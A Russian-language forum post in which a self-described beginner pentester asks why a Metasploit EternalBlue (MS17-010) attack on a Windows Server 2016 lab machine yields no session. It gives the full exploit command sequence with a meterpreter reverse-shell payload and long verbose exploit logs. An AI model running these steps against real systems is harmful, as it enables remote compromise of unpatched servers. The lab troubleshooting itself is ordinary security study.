Здравствуйте, я недопентестер(не закидывайте помидорами) и сразу к вопросу. Есть windows server 2016 14393. Хочу к нему попасть через kali linux используя eternalblue. Сеть одна в NAT. Фаерволл на сервере отключен. Пинг в обе стороны проходит. А теперь список команд:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.115.132(kali)
set RHOST 192.168.115.128(server)
exploit
При запуске выводит такой список:
[] 192.168.115.128:445 - Connecting to target for exploitation.
[+] 192.168.115.128:445 - Connection established for exploitation.
[+] 192.168.115.128:445 - Target OS selected valid for OS indicated by SMB reply
[] 192.168.115.128:445 - CORE raw buffer dump (45 bytes)
[] 192.168.115.128:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[] 192.168.115.128:445 - 0x00000010 30 31 36 20 53 74 61 6e 64 61 72 64 20 45 76 61 016 Standard Eva
[] 192.168.115.128:445 - 0x00000020 6c 75 61 74 69 6f 6e 20 31 34 33 39 33 luation 14393
[+] 192.168.115.128:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[] 192.168.115.128:445 - Trying exploit with 22 Groom Allocations.
[] 192.168.115.128:445 - Sending all but last fragment of exploit packet
[] 192.168.115.128:445 - Starting non-paged pool grooming
[+] 192.168.115.128:445 - Sending SMBv2 buffers
[+] 192.168.115.128:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[] 192.168.115.128:445 - Sending final SMBv2 buffers.
[] 192.168.115.128:445 - Sending last fragment of exploit packet!
[] 192.168.115.128:445 - Receiving response from exploit packet
[+] 192.168.115.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[] 192.168.115.128:445 - Sending egg to corrupted connection.
[] 192.168.115.128:445 - Triggering free of corrupted buffer.
[-] 192.168.115.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.115.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.115.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[] Exploit completed, but no session was created.
Либо же во время запуска, сервер уходит в перезагрузку.
Дополнительно использовал опцию set VERBOSE true
При повторном запуске выдает результат:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] 192.168.115.128:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.115.128:445 - Connected to \192.168.115.128\IPC$ with TID = 2050
[*] 192.168.115.128:445 - Received STATUS_INSUFF_SERVER_RESOURCES with FID = 0
[+] 192.168.115.128:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard Evaluation 14393 x64 (64-bit)
[*] 192.168.115.128:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.115.128:445 - The target is vulnerable.
[*] 192.168.115.128:445 - Connecting to target for exploitation.
[+] 192.168.115.128:445 - Connection established for exploitation.
[+] 192.168.115.128:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.115.128:445 - CORE raw buffer dump (45 bytes)
[*] 192.168.115.128:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.115.128:445 - 0x00000010 30 31 36 20 53 74 61 6e 64 61 72 64 20 45 76 61 016 Standard Eva
[*] 192.168.115.128:445 - 0x00000020 6c 75 61 74 69 6f 6e 20 31 34 33 39 33 luation 14393
[+] 192.168.115.128:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.115.128:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.115.128:445 - Sending all but last fragment of exploit packet
[*] 192.168.115.128:445 - Sending NT Trans Request packet
[*] 192.168.115.128:445 - Making :eb_trans2_zero packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Making :eb_trans2_buffer packet
[*] 192.168.115.128:445 - Sending malformed Trans2 packets
[*] 192.168.115.128:445 - Starting non-paged pool grooming
[*] 192.168.115.128:445 - Sending start free hole packet.
[+] 192.168.115.128:445 - Sending SMBv2 buffers
[*] 192.168.115.128:445 - Sending end free hole packet.
[+] 192.168.115.128:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.115.128:445 - Sending final SMBv2 buffers.
[*] 192.168.115.128:445 - Sending last fragment of exploit packet!
[*] 192.168.115.128:445 - Making :eb_trans2_exploit packet
[*] 192.168.115.128:445 - Receiving response from exploit packet
[+] 192.168.115.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.115.128:445 - Sending egg to corrupted connection.
[*] 192.168.115.128:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.115.128:4444
[-] The connection was refused by the remote host (192.168.115.128:4444).
[-] The connection was refused by the remote host (192.168.115.128:4444).
Заранее спасибо!!!
